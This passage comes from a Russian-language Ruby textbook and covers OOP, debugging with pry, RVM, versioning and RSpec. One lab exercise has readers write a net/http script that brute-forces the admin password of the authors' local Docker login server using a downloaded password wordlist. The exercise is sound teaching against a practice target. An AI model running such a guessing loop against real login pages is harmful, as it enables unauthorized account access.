end
def right
self.x += 1
end
def down
self.y -= 1
end
class Commander
# Дать команду на движение объекта. Метод принимает объект
# и посылает (send) ему случайную команду.
def move(who)
m = [:right, :left, :up, :down].sample
# Вот он, полиморфизм! Посылаем команду, но не знаем кому!
who.send(m)
end
end
if game_over
puts 'Game over'
exit
Часть 4. Введение в ООП 281
end
# Задержка в полсекунды
sleep 0.5
end
.........................
.........*...............
.........................
...........*.............
........@................
...............*.*.......
........*.....*..........
.........................
............*............
...*.....................
Демо: https://asciinema.org/a/KsenHLiaRbTilZa081EhZSFXF⁵⁵.
Задание 1
Удалите все комментарии в программе выше. Способны ли вы разо-
браться в том, что происходит?
Задание 2
Добавьте на поле еще 3 собаки.
Задание 3
Исправьте программу: если все собаки дошли до правого или нижне-
го края поля, выводить на экран «Win!».
⁵⁵https://asciinema.org/a/KsenHLiaRbTilZa081EhZSFXF
Часть 4. Введение в ООП 283
Наследование
Очевидно, что есть методы up, down, left, right — которые выполняют какие-то
действия. Очевидно, что есть методы x, y (переменные экземпляра @x и @y, но
attr_accessor добавляет методы, которые называются getter и setter). Есть
метод label — который для каждого типа разный. Методы up, down, left, right
реализуют какую-то функциональность, которая почти всегда одинакова.
1 class Robot
2 def right
3 self.x += 1
4 end
5
6 def left
7 self.x -= 1
8 end
9
10 def up
11 self.y += 1
12 end
13
14 def down
15 self.y -= 1
16 end
17 end
18
19 class Dog
20 # ...
21
22 def right
23 self.x += 1
24 end
25
26 def down
27 self.y -= 1
28 end
29 end
Часть 4. Введение в ООП 285
30
31 class Human
32 def right
33 self.x += 1
34 end
35
36 def left
37 self.x -= 1
38 end
39
40 def up
41 self.y += 1
42 end
43
44 def down
45 self.y -= 1
46 end
47 end
Но что, если каждый из этих методов будет по 10 строк или мы вдруг захотим
что-нибудь улучшить (например, добавить координату «z», чтобы получить
трехмерное поле)? Придется копировать этот код между всеми классами. И
если возникнет какая-либо ошибка, придется исправлять сразу в трех местах.
1 class Robot
2 attr_accessor :x, :y
3
4 def initialize(options={})
5 @x = options[:x] || 0
6 @y = options[:y] || 0
7 end
8
9 def right
10 self.x += 1
11 end
12
13 def left
14 self.x -= 1
15 end
16
17 def up
18 self.y += 1
19 end
20
21 def down
22 self.y -= 1
23 end
24
25 def label
26 '*'
27 end
28 end
29
Часть 4. Введение в ООП 287
Мы использовали символ <, который говорит о том, что Человек и Собака яв-
ляются классами, производными от робота. Сам символ как бы подсказывает,
что вся функциональность из робота «поступает» в человека и собаку: class
Human < Robot, class Dog < Robot. Говорят «класс Human наследует функцио-
нальность класса Robot».
Часть 4. Введение в ООП 288
Диаграмма классов
После того как классы определены таким образом, мы можем создавать экзем-
пляры класса обычным способом:
robot = Robot.new
human = Human.new
dog = Dog.new
Этот подход кажется гениальным! Посудите сами, класс Dog занимал 28 строк,
а сейчас занимает 11. Класс Human мог бы занимать 28 строк, а занимает всего 5.
Просто потому, что мы воспользовались наследованием! Если мы применим
наследование к нашему примеру программы, которую мы писали ранее, то
программа будет прекрасно работать. Но, к сожалению, есть один неприятный
момент.
Вроде бы все правильно. Есть тип данных Human, есть тип данных Dog. Есть
существующий тип Robot. Мы использовали наследование и способствовали
повторному использованию кода, так в чем же дело? Для этого обратимся к
определению слова «Inherit» (наследовать) в Оксфордском словаре:
Да, можно было просто обойтись дублированием кода. Это то, с чем стараются
бороться некоторые команды любыми средствами. Однако дублирование кода
не всегда плохо. Скажем, в тестировании программ (разбирается дальше в этой
книге) дублирование кода не является большой проблемой. Если мы говорим
не о тестах, а об обычных программах, то в некоторых случаях тоже лучше
⁵⁹https://www.sandimetz.com/blog/2016/1/20/the-wrong-abstraction
Часть 4. Введение в ООП 292
Модули
1 module MyModule
2 attr_accessor :x, :y
3
4 def initialize(options={})
5 @x = options[:x] || 0
6 @y = options[:y] || 0
7 end
8
9 def right
10 self.x += 1
11 end
12
13 def left
14 self.x -= 1
15 end
16
Часть 4. Введение в ООП 293
17 def up
18 self.y += 1
19 end
20
21 def down
22 self.y -= 1
23 end
24 end
25
26 class Robot
27 include MyModule
28
29 def label
30 '*'
31 end
32 end
33
34 class Dog
35 include MyModule
36
37 def up
38 end
39
40 def left
41 end
42
43 def label
44 '@'
45 end
46 end
Часть 4. Введение в ООП 294
47
48 class Human
49 include MyModule
50
51 def label
52 'H'
53 end
54 end
Диаграмма классов, построенная в RubyMine. Три класса делят (share, или копируют) функцио-
нальность с помощью модуля
Часть 4. Введение в ООП 295
Диаграмма классов
class Птица
end
interface Птица {
void Накормить();
void Напоить();
}
down, label, всегда будут известны координаты. Любой метод, который будет
принимать объект Dog, Human или Robot, может рассчитывать на то, что эти
методы присутствуют. Мы также даем понять, что Dog, Human и Robot — это
разные сущности. У них есть что-то общее, они являются игроками на поле. Но
мы не наследуем человека от робота, как это было раньше. Все общее между
этими объектами — методы игрока.
Задание
Не подсматривая в код, который написан чуть ниже, попробуйте
написать программу по диаграмме классов на представленном ри-
сунке.
1 class Player
2 attr_accessor :x, :y
3
4 def initialize(options={})
5 @x = options[:x] || 0
6 @y = options[:y] || 0
7 end
8
9 def right
10 self.x += 1
11 end
12
13 def left
14 self.x -= 1
15 end
16
Часть 4. Введение в ООП 299
17 def up
18 self.y += 1
19 end
20
21 def down
22 self.y -= 1
23 end
24
25 def label
26 end
27 end
28
29 class Robot < Player
30 def label
31 '*'
32 end
33 end
34
35 class Dog < Player
36 def up
37 end
38
39 def left
40 end
41
42 def label
43 '@'
44 end
45 end
46
Часть 4. Введение в ООП 300
Руби является очень гибким языком и дает свободу: все, что вы делаете,
остается на вашей совести. Выделить абстракцию можно множеством спосо-
бов. Более того, язык Руби не запрещает создавать экземпляр абстрактного
класса Player. Все из-за того, что в Руби нет понятия об абстрактных классах.
Также ничто не мешает программисту изменить классы Dog, Human или Robot,
добавив в каждый из этих классов разные методы, которые бы «испортили»
универсальный интерфейс.
Статические методы
Для тысячи изготовленных деталей — это не очень важно, они будут прекрасно
работать и без этой метаинформации. Но если кто-то спросит «А кто сделал
такой хороший болт?», то ответ уже будет другим. Так вот, метаинформация
— это и есть переменные и методы класса (class methods, class variables,
часто говорят «статические методы», «статические переменные»). А размеры и
другие технические детали — это обычные переменные и методы экземпляра
(instance methods, instance variables).
Часть 4. Введение в ООП 302
class Person
def self.say_something
puts 'Hi there!'
end
end
Person.say_something
class Person
def say_something
puts 'Hi there!'
end
end
dude = Person.new
dude.say_something
class Person
def initialize(name)
@name = name
end
def say_your_name
puts "My name is #{@name}"
end
end
dude = Person.new('Sam')
dude.say_your_name
Часть 4. Введение в ООП 304
class Person
def self.say_your_name(name)
puts "My name is #{name}"
end
end
Person.say_your_name('Sam')
Несмотря на то что программа выглядит проще, в ней нет живого объекта. Есть
только имя, которое существует независимо ни от чего. Мы вроде бы обраща-
емся к человеку (ведь класс называется Person), но этот класс не представляет
живого человека. Можно написать:
Person.say_your_name('Sam')
Person.say_your_name('Pat')
Person.say_your_name('Val')
class Megaphone
def self.shout(whatever)
puts whatever.upcase
end
end
Megaphone.shout('Hello')
module Megaphone
module_function
def shout(whatever)
puts whatever.upcase
end
end
Megaphone.shout('Hello')
При создании программ помните, что у кода есть два читателя: человек
и компьютер. Компьютеру все равно, как вы пишете программу, если она
работает. Человеку нужно время. Часто этот человек — не вы сами, а ваш
коллега, который, может быть, только через несколько лет будет смотреть на
ваш код. Так постарайтесь его сделать простым! Написать сложный код просто,
а написать простой — сложно. Желаем успехов в объектно-ориентированном
программировании!
Отладка программ
Отладка (debugging) — это не что иное, как процесс поиска багов (ошибок).
Само слово «debugging» говорит об избавлении от багов (de-bug). Когда ком-
пьютеры были очень простыми, об отладке программ в том виде, в котором
она существует сейчас, никто не слышал. Однако существовали способы про-
верить работоспособность готового кода. Но зачем вообще нужно «проверять»
код?
puts something.inspect
inspect — это метод, который реализован в объекте любого типа. Этот ме-
тод возвращает строковое представление объекта. Внимательный читатель
спросит: а зачем использовать puts something.inspect, когда можно просто
написать puts something?
Например, затем, что puts nil и puts "" выведут на экран пустую строку.
Тогда как с .inspect на экран будет выведено nil и "" соответственно:
Часть 4. Введение в ООП 311
$ pry
> puts nil
Для тех, кто работает с фреймворком Ruby on Rails, полезна будет следующая
конструкция:
puts '=' * 80
puts something.inspect
puts '=' * 80
puts '=' * 80
puts something.inspect
puts '=' * 80
raise
puts method(:something).source_location
1 def random_pow
2 pow(rand(1..10))
3 end
4
5 def pow(x)
6 puts "=" * 80
7 puts caller
8 puts "=" * 80
9 x ** 2
10 end
11
12 puts random_pow
========================================================
-:2:in `random_pow'
-:12:in `<main>'
========================================================
64
Читать stack trace нужно в обратном порядке. Мы видим, что первый вызов
функции random_pow произошел на 12-й строке, а второй вызов — на 2-й. Таким
образом, caller — не что иное, как call stack (стек вызовов).
console.log(some_variable);
console.dir(some_variable);
$ pry
> help
Help
help Show a list of commands or information about a spe\
cific command.
Context
cd Move into a new context (object or scope).
find-method Recursively search for a method within a class/mod\
ule or the current namespace.
ls Show the list of vars and methods in the current s\
cope.
pry-backtrace Show the backtrace for the pry session.
raise-up Raise an exception out of the current pry instance.
Часть 4. Введение в ООП 316
def random_pow
pow(rand(1..10))
end
def pow(x)
x ^ 2
end
puts random_pow
После того как мы запустили эту программу, на экран было выведено число
6. Очень странно, ведь функция rand на второй строке генерирует целое
случайное число от 1 до 10, а следовательно, возможный результат — это одно
из следующих значений: 1, 4, 9, 16, 25, 36, 49, 64, 81, 100 (в программе намеренно
допущена ошибка, сможете ли вы ее увидеть?).
1 def random_pow
2 pow(rand(1..10))
3 end
4
5 def pow(x)
6 puts "Pow parameter: #{x}"
7 x ^ 2
8 end
9
10 puts random_pow
Pow parameter: 3
1
1 require 'pry'
2
3 def random_pow
4 pow(rand(1..10))
5 end
6
7 def pow(x)
8 binding.pry
9 x ^ 2
10 end
11
12 puts random_pow
$ ruby app.rb
$ ruby app.rb
7: def pow(x)
=> 8: binding.pry
9: x ^ 2
10: end
[1] pry(main)>
• команда next выполнит следующую строку. После этого снова можно по-
смотреть значение переменных, чтобы понять, что не так с программой;
• команда exit вернет выполнение в программу. То есть это выход из
Pry, но не из программы. Можно было дать более правильное имя этой
команде continue (продолжить);
• команда exit! (с восклицательным знаком) прервет выполнение програм-
мы с выходом в терминал;
• команда whereami (от англ. Where Am I — где я?) может быть полезна,
когда, например, после вывода большого текста на экран (или очистки
экрана кодом из нашей программы) мы все еще хотим знать, в каком
месте программы мы в данный момент находимся.
7: def pow(x)
=> 8: binding.pry
9: x ^ 2
10: end
[3] pry(main)> x
2
[4] pry(main)> x ^ 2
0
def random_pow
pow(rand(1..10))
end
def pow(x)
x ** 2 # ПРАВИЛЬНОЕ ВОЗВЕДЕНИЕ В КВАДРАТ
end
puts random_pow
Что же это могут быть за настройки и зачем вызывать reset из pry? Если
вы разрабатываете небольшую программу, то эта команда вам не нужна.
Но на практике программист обычно работает с (относительно) большим
Rails-проектом. В больших проектах существует множество gem’ов, которые в
зависимости от разных обстоятельств могут выводить в консоль отладочную
информацию в самый неподходящий момент. Такая же отладочная информа-
ция может поступать и от самого приложения (например, вывод отладочной
Часть 4. Введение в ООП 324
""
[2] pry(main)> whereami
...
Но, с другой стороны, это дело привычки. Также эта среда разработки является
платной (требуется годовая подписка), и техническая поддержка всегда готова
ответить на ваши вопросы (в т.ч. на русском языке).
edition (CE)»). Скачать Докер для Windows или macOS можно на официальном
сайте⁶⁴.
$ docker -v
Docker version 17.06.2-ce, build cec0b72
Образ такой мини-ОС создали для вас авторы этой книги. Вы можете скачать
его и запустить на своем компьютере с помощью следующей команды оболоч-
ки:
⁶⁷http://localhost:4567/passwords.txt
Часть 4. Введение в ООП 334
$ wget http://localhost:4567/passwords.txt
Задание 1
Не подсматривая решение, данное ниже, попробуйте обратиться к
документации и написать программу, которая считывает из файла
все строки и выводит на экран длину каждой строки. Проверьте свой
результат.
File.new('passwords.txt').each do |line|
password = line.chomp
puts password.size
end
Запустим программу:
⁶⁸http://ruby-doc.org/core-2.5.1/IO.html#method-i-each_line
Часть 4. Введение в ООП 336
$ ruby save_the_world.rb
…
6
5
8
6
6
$ ruby save_the_world.rb | wc -l
10000
$ cat passwords.txt | wc -l
10000
Так как после запуска ruby save_the_world.rb в терминале нам видны длины
последних строк, попробуем вывести на экран пять последних строк из файла
passwords.txt с помощью команды tail:
$ tail -5 passwords.txt
eighty
epson
evangeli
eeeee1
eyphed
И попробуем сравнить длины этих пяти слов с тем, что выводит наша про-
грамма в самом конце:
6
5
8
6
6
Часть 4. Введение в ООП 338
Контекстное меню в Google Chrome. При выборе «Inspect» вызывается Chrome Developer Tools
Часть 4. Введение в ООП 340
Параметры запроса
Задание 2
Современные инструменты позволяют представить ответ от сервера
в виде таблиц и структурированных данных, хотя на самом деле
протокол HTTP — это всего лишь текст, разбитый на несколько
строк. Это касается как запросов (request), так и ответов (response,
reply). Попробуйте зайти на свой любимый сайт с помощью пароля
и посмотреть на этот запрос в Chrome Developer Tools. Сравните
этот запрос с «сырыми» данными, которые вы можете получить при
помощи других инструментов.
контейнер.
Задание 3
Попробуйте подключиться к локальному серверу с помощью telnet
и отправить GET-запрос вручную: telnet localhost 4567. После того
как подключение установится, введите GET / HTTP/1.0 и два раза
нажмите Enter.
Задание 4
Попробуйте подключиться к локальному серверу с помощью telnet и
отправить POST-запрос вручную: telnet localhost 4567. После того
как подключение установится, наберите с клавиатуры текст ниже (без
копирования) и нажмите Enter:
username=admin&password=123456
После того как мы разобрались с тем, что GET- и POST-запросы и ответы — это
всего лишь текст, осталось научить Руби делать то же самое. К счастью, для
этих целей в Руби существует специальная библиотека «net/http»⁷⁰. Давайте
напишем минимальную программу, которая отправляет POST-запрос с име-
нем пользователя «admin» и паролем «123456».
⁷⁰https://ruby-doc.org/stdlib-2.5.1/libdoc/net/http/rdoc/Net/HTTP.html
Часть 4. Введение в ООП 346
Задание 5
Попробуйте написать эту программу самостоятельно, изучив доку-
ментацию, и сравните результат с написанным ниже. Программа
должна выводить на экран ответ от сервера, который содержит строку
«Wrong username or password, please try again».
1 require 'net/http'
2
3 uri = URI('http://localhost:4567/login')
4 res = Net::HTTP.post_form(uri, username: 'admin', password: '123456')
5 puts res.body
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>App</title>
<meta name="viewport" content="width=device-width, initial-scale=1.\
0">
<link rel="stylesheet" href="tacit-css.min.css"/>
</head>
<body >
<div>
<p>Wrong username or password, please try again</p>
</div>
</body>
</html>
require 'net/http'
uri = URI('http://localhost:4567/login')
File.new('passwords.txt').each do |line|
password = line.chomp
puts "Trying #{password}..."
res = Net::HTTP.post_form(uri, username: 'admin', password: password)
puts res.body
Часть 4. Введение в ООП 348
end
Эти два недочета легко исправить с помощью условия: если в теле ответа
res.body содержится слово «Wrong», то нужно продолжать. Иначе — выходить
из программы. Давайте внесем это изменение и посмотрим на результат:
require 'net/http'
uri = URI('http://localhost:4567/login')
File.new('passwords.txt').each do |line|
password = line.chomp
puts "Trying #{password}..."
res = Net::HTTP.post_form(uri, username: 'admin', password: password)
if res.body.include?('Wrong')
# не делать ничего, просто продолжать
else
puts "Password found: #{password}"
exit
Часть 4. Введение в ООП 349
end
end
Trying password...
Trying 123456...
Trying 12345678...
Trying 1234...
Trying qwerty...
Trying 12345...
...
Password found: (чтобы вам было интереснее, мы не стали его приводить в\
книге)
Вы спасли планету!
Задание 6
Попробуйте запустить программу и спасти планету. Подумайте, как
можно улучшить конструкцию if, чтобы она была более наглядной
и лаконичной.
Задание 7
Когда правильный пароль найден, введите текст ниже в свой тексто-
вый редактор и замените «123456» на найденный пароль:
Часть 4. Введение в ООП 351
username=admin&password=123456
Полезны также следующие команды (они используются как основа для скрип-
та ниже):
Часть 4. Введение в ООП 356
$ which ruby
/usr/bin/ruby
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
• /usr/local/bin;
• /usr/bin (директория с интерпретатором Руби);
• /bin;
• /usr/sbin;
• /sbin.
Настройки zsh хранятся в ∼/.zshrc. Возможно, в этих файлах уже есть опреде-
ление переменной PATH. Но зачем нам нужен RVM и вообще все эти танцы?
Часть 4. Введение в ООП 359
Дело в том, что на самом деле существует много различных версий и реали-
заций языка Руби. Да-да, тот Руби, про который мы все это время говорили, —
это не просто Руби, а Руби какой-то определенной версии. Узнать свою версию
можно с помощью команды:
$ ruby -v
ruby 2.6.1p33 (2019-01-30 revision 66950) [x86_64-darwin16]
Scripting language runtimes such as Python, Ruby, and Perl are included in
macOS for compatibility with legacy software. Future versions of macOS
won’t include scripting language runtimes by default, and might require
you to install additional packages. If your software depends on scripting
languages, it’s recommended that you bundle the runtime within the app.
(49764202)
Перевод:
Однако не будем спешить. «Самая последняя версия языка Руби», скорее всего,
вам не понравится. Дело не в том, что Руби плохой, а в том, что самая послед-
няя и самая свежая версия языка Руби (а также многих других программных
продуктов) не самая стабильная. Существуют т.н. «ночные сборки» (nightly
builds). Смысл в том, что все изменения, которые произошли за последний
день, собираются в одну ветку и в автоматическом режиме компилируются.
$ pry
[1] pry(main)> show-method loop
static VALUE
rb_f_loop(VALUE self)
Часть 4. Введение в ООП 361
{
RETURN_SIZED_ENUMERATOR(self, 0, 0, rb_f_loop_size);
return rb_rescue2(loop_i, (VALUE)0, loop_stop, (VALUE)0, rb_eStopIt\
eration, (VALUE)0);
}
К слову, известный браузер Firefox тоже существует в виде ночных сборок. Вот
что такое ночная сборка по версии команды разработчиков Firefox (с сайта
https://wiki.mozilla.org/Nightly):
• nightly build;
Часть 4. Введение в ООП 362
• preview;
• alpha;
• beta;
• stable;
• LTS (long-term support), не совсем билд, а более как тег определенной
версии.
Можно скачать эту версию на свой компьютер. Файл обычно скачивается в ви-
де tar.gz-архива, поэтому потребуется его распаковать (не забудьте изменить
X.Y.Z на версию, которую вы скачали):
Но, распаковав этот файл, вы увидите исходный код языка, а не готовый ис-
полняемый файл (войдите в директорию: cd ruby-X.Y.Z и выполните команду
ls -lah). Поэтому язык Руби нужно «собрать», просто для того, чтобы у вас в
итоге получился исполняемый файл, с помощью которого уже можно будет
запускать программы:
⁷¹https://www.ruby-lang.org/en/downloads/
Часть 4. Введение в ООП 363
$ cd ruby-X.Y.Z
$ ./configure
checking for ruby... /usr/bin/ruby
tool/config.guess already exists
tool/config.sub already exists
checking build system type... x86_64-apple-darwin17.6.0
checking host system type... x86_64-apple-darwin17.6.0
checking target system type... x86_64-apple-darwin17.6.0
checking for clang... clang
checking for gcc... (cached) clang
...
$ make
CC = clang
LD = ld
...
$ ./ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin17]
$ ruby -v
ruby 2.3.3p222 (2016-11-21 revision 56859) [universal.x86_64-darwin17]
Согласитесь, что все это как-то сложно и не очень удобно. Но зачем это
сделано? Дело в том, что Руби один, а операционных систем много. Это не
только Windows, macOS, Linux, но также и разные версии этих операцион-
ных систем. Каждая ОС имеет свои настройки, которые оказывают влияние
на производительность. Чтобы язык Руби использовал все эти возможности,
необходимо «собрать» (build) этот язык на точно таком же компьютере, как
у вас (или на вашем собственном). Ведь даже на одинаковых операционных
системах может отличаться тип процессора! А одна оптимизация на уровне
процессора работает на одном компьютере и не работает на другом. Например,
один компьютер может быть новее, с более мощным и усовершенствованным
процессором, а другой — с устаревшим.
Мы собрали язык Руби, обновили системный Руби, и больше через этот этап
мы проходить не будем! Но, как говорил Стив Джобс, «there is one more thing».
Не все так просто в мире разработки (и именно за это нам платят деньги).
Чтобы дать остальным понять, что эта программа новая и обратно с нее
откатываться нельзя, мы увеличиваем минорную версию (та, что посередине),
а заодно и сбрасываем патч-версию в ноль. Например, программа была 0.1.10,
а будет 0.2.0. Разумеется, что новая версия включает в себя все патчи из
предыдущей. Но т.к. она содержит новую функциональность, минорная вер-
сия увеличена на единицу.
Другими словами, если версия была 0.2.0, а стала 1.0.0, то есть большая
вероятность того, что программы, написанные на 0.2.0, не будут работать в
Часть 4. Введение в ООП 367
версии 1.0.0. Другими словами, при увеличении мажорной версии все, что
вы написали раньше, превращается в тыкву! Приходится переписывать все
заново!
Но это в самом худшем случае. Обычно при обновлении мажорной версии да-
ются подробные инструкции о том, как перейти именно на новейшую версию.
Отсюда возникает философия разработки любого программного продукта,
а в особенности фреймворка или языка программирования. Как развивать
программу?
Что делать, быстро двигаться вперед, не оглядываясь на то, что было сделано
ранее, ломать обратную совместимость и забыть про прошлое? Или все-таки
исповедовать консервативный подход — поддерживать старые версии, т.к.
существует множество уже написанного кода? Выкатывать новую версию
означает в какой-то момент перестать поддерживать старую. Но у старой
версии есть пользователи, что с ними делать?
• 2.5.1;
• 2.3.3;
• 2.0.0
RVM сам по себе не является чем-то уникальным для Руби. Для других
языков тоже существуют менеджеры версий. Например, для языка JavaScript
существует NVM — Node.js Version Manager. Мы рассмотрим rvm, но основные
концепции также справедливы и для многих других языков.
Sets of gems — набор gem’ов (или gemset), важное понятие, мы вскоре с ним
познакомимся. RVM устанавливается с помощью двух команд (скопируйте их
с сайта rvm, т.к. команды ниже могут устареть):
⁷³https://rvm.io/
Часть 4. Введение в ООП 370
$ rvm -v
rvm 1.29.4 (latest) by Michal Papis, Piotr Kuczynski, Wayne E. Seguin [\
https://rvm.io]
Или справку:
$ rvm --help
Usage:
for example:
Тут работает магия rvm, за которые этот менеджер версий многие не любят.
Секрет заключается в том, что rvm подменяет команду оболочки cd (change
directory — сменить директорию). Когда вы меняете директорию, rvm пытается
определить, какой Руби нужно использовать сейчас. Алгоритм очень простой
(о нем чуть ниже), и у rvm есть два варианта действий, после того как вы
сменили директорию:
• молча (или почти молча) «подсунуть» вам нужную версию Руби, чтобы
вы ничего не заметили;
• не делать ничего.
Но как именно rvm решает, что нужно подсунуть вам какую-то версию, в чем
заключается алгоритм? Все очень просто: в Руби-сообществе было достигнуто
соглашение о том, что текущая версия Руби для определенного проекта долж-
на храниться в файле .ruby-version (с точкой в начале) в директории проекта.
Этот файл должен просто содержать строку с версией Руби, например 2.5.1.
И при смене директории в терминале rvm попробует «подсунуть» вам эту
Часть 4. Введение в ООП 372
версию Руби «почти молча»: если она еще не была скачана из Интернета, то
rvm сообщит об этом.
$ ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin17]
$ which ruby
/usr/local/bin/ruby
Вот это да! Получилось! RVM выдал нам сообщение о том, что Руби версии 2.3.1
не установлен, и сразу же команду для установки (напоминаем, что список
всех команд доступен в справке: rvm --help).
Если файл не будет найден, то исходный код этой версии будет скачан с офи-
циального сайта и будет откомпилирован на вашем компьютере! Согласитесь,
что это немного проще, чем компиляция с помощью ./configure, make и т.д.,
которую мы делали ранее?
$ ruby -v
ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-darwin17]
$ which ruby
/Users/ro/.rvm/rubies/ruby-2.3.1/bin/ruby
Другими словами, rvm подменил нам Руби на тот, который был указан в
.ruby-version:
Было:
Стало:
Выше мы установили нужную версию Руби, зная про секрет RVM. Но мож-
но ли как-нибудь установить версию Руби без этого секрета, без создания
.ruby-version?
• rvm list known — выдает список доступных версий Руби. Нас интересуют
версии MRI;
• rvm install ... — установить Руби определенной версии, вместо троето-
чия необходимо указать версию языка.
Выше мы ввели команду для установки Руби версии «2.5.1». Появилась отла-
дочная информация, которая сказала о том, что скомпилированной (готовой)
версии Руби 2.5.1 для нашей операционной системы (macOS 10.12) пока не
существует, поэтому сейчас будет скачан и откомпилирован исходный код
языка Руби на нашем компьютере.
Как вы могли заметить, RVM пытается найти где-то на своих серверах версии
Руби по следующим признакам:
• osx — тип ОС, может быть Linux, Windows или что-то еще (теоретически);
• 10.12 — версия ОС, существует множество разных версий как macOS, так
и остальных ОС;
• x86_64 — архитектура процессора;
• ruby-2.5.1 — версия языка.
$ rvm list
ruby-2.3.1 [ x86_64 ]
ruby-2.4.2 [ x86_64 ]
* ruby-2.5.0 [ x86_64 ]
=> ruby-2.5.1 [ x86_64 ]
# => - current
# =* - current && default
# * - default
Отныне каждый раз, когда мы будем говорить rvm use default, будет исполь-
зоваться версия 2.5.1.
Тестирование
общей сложности дает 50 тысяч запусков разных тестов. Этот подход позво-
лил значительно улучшить качество написанных программ. Однако у юнит-
тестирования есть и недостатки.
RSpec
⁷⁶https://github.com/markets/awesome-ruby#testing
⁷⁷https://www.ruby-toolbox.com/categories/testing_frameworks
Часть 4. Введение в ООП 382
DHH в Twitter⁷⁸
Это, можно сказать, особый синтаксис, который появляется в языке после уста-
новки gem’a rspec. Помимо стандартных ключевых слов, появляются новые:
⁷⁸https://twitter.com/dhh/status/52807321499340800
Часть 4. Введение в ООП 383
describe, it, let, before, after. В этой книге мы не рассматривали, как именно
работает механизм DSL. Для наших целей пока достаточно знать, что этот
механизм позволяет создавать свой синтаксис внутри языка Руби.
Или любую другую версию без суффикса -preview. После этого создадим
каталог приложения и «закрепим» версию Руби за этим приложением:
$ mkdir rspec_demo
$ cd rspec_demo
$ echo "2.7.0" > .ruby-version
$ ruby -v
ruby 2.7.0p0 (2019-12-25 revision 647ee6f091) [x86_64-darwin16]
$ cd ..
$ cd rspec_demo
$ bundle init
# frozen_string_literal: true
source "https://rubygems.org"
# gem "rails"
Теперь необходимо установить rspec. Это можно сделать при помощи коман-
ды gem install rspec, но раз уж мы договорились держать все в одном месте,
изменим Gemfile на следующий:
source "https://rubygems.org"
gem "rspec"
$ bundle
Fetching gem metadata from https://rubygems.org/...
Resolving dependencies...
...
Fetching rspec 3.9.0
Installing rspec 3.9.0
Bundle complete! 1 Gemfile dependency, 7 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.
Все верно, когда мы ввели команду bundle, пакет rspec был скачан из Интер-
нета и размещен где-то в вашей файловой системе. Команда gem which rspec
поможет вам увидеть точный путь, но знать точный путь обычно никогда не
требуется. Все остальные программисты вашей команды будут также вводить
bundle и на основе трех файлов смогут «воссоздать» точно такую же среду
исполнения, какая сейчас существует на вашем компьютере, с точно такими
же gem’ами. Правда, может отличаться номер патча. Например, версия Руби
Часть 4. Введение в ООП 386
Команда rspec --help поможет определить, что делать дальше: нас интересует
команда rspec --init:
$ rspec --init
create .rspec
create spec/spec_helper.rb
def total_weight(options={})
a = options[:soccer_ball_count] || 0
b = options[:tennis_ball_count] || 0
c = options[:golf_ball_count] || 0
(a * 410) + (b * 58) + (c * 45) + 29
end
Сейчас с этим методом все в порядке. Но почему именно этот метод стоит
покрыть тестами? Чтобы ответить на этот вопрос, подумаем, что может пойти
не так.
через год или два может заглянуть в этот метод и добавить новую функцио-
нальность. Например, новый тип мячей. Чтобы убедиться в том, что ничего
не сломано, нужно хотя бы запустить этот метод и сравнить результат с
ожидаемым. Но лучше делать это автоматически.
def total_weight(options={})
a = options[:soccer_ball_count]
b = options[:tennis_ball_count]
c = options[:golf_ball_count]
(a * 410) + (b * 58) + (c * 45) + 29
end
$ pry
...
x = total_weight(soccer_ball_count: 3, tennis_ball_count: 2)
NoMethodError: undefined method `*' for nil:NilClass
from (pry):12:in `total_weight'
коробки. Или мы знаем, что при покупке хотя бы одного мяча для тенниса
в коробку кладется рекламный буклет весом 25 грамм.
require './lib/shipment'
x = Shipment.total_weight(soccer_ball_count: 3, tennis_ball_count: 2, g\
olf_ball_count: 1)
puts x
module Shipment
module_function
def total_weight(options={})
a = options[:soccer_ball_count] || 0
b = options[:tennis_ball_count] || 0
c = options[:golf_ball_count] || 0
(a * 410) + (b * 58) + (c * 45) + 29
end
end
$ ruby app.rb
1420
Выше мы разбили программу на две части (на два юнита): часть, которая
содержит логику shipment.rb. И часть, которая вызывает логику app.rb. Мы
создадим тест для первого юнита, shipment.rb, который содержит основную
логику. Второй юнит пока не является чем-то сложным, поэтому покрывать
тестом мы его не будем.
Добавление shipping_spec.rb
со следующим содержимым:
Часть 4. Введение в ООП 394
require './lib/shipment'
describe Shipment do
it 'should work without options' do
expect(Shipment.total_weight).to eq(29)
end
end
$ rspec -f d
Shipment
should work without options
# подключаем юнит
require './lib/shipment'
Согласитесь, что код выглядит не вполне обычно. То, что вы видите выше,
— это т.н. rspec DSL (Domain Specific Language — язык предметной области).
Он работает только в rspec. Давайте добавим еще один тест и посмотрим на
результат:
Часть 4. Введение в ООП 396
require './lib/shipment'
describe Shipment do
it 'should work without options' do
expect(Shipment.total_weight).to eq(29)
end
Результат:
$ rspec -f d
Shipment
should work without options
should calculate shipment with only one item
Что произошло выше? «It should calculate shipment with only one item» дословно
переводится как «это должно рассчитывать отправление только с одной ве-
щью». Другими словами, как раз то, что мы желаем проверить: код должен
работать в тех случаях, когда программист передает только 1 аргумент в
функцию total_weight. Кстати, вместо непонятных цифр 439, 87, 74 лучше
Часть 4. Введение в ООП 397
expect(something).to eq(some_value)
expect(something).to be(some_value)
expect(son).to be(a_good_boy)
expect(son).not_to be(a_bad_boy)
if son != a_good_boy
panic
end
Но RSpec дает нам возможность записать все в виде одной строки и в более
естественном (с точки зрения RSpec) виде. Под капотом там, конечно, исполь-
зуется обычная конструкция if. Другими словами, в тестах мы не пишем if,
а сообщаем о наших ожиданиях. Мы не используем императивный стиль, а
используем декларативный. Мама не говорит мальчику, что конкретно делать
(«не обижай девочек», «учись хорошо»), она говорит, что она от него ожидает
(«будь хорошим»). Другими словами, это spec, спецификация, которая где-то
задана и которой надо соответствовать.
expect(son).to be(a_good_boy)
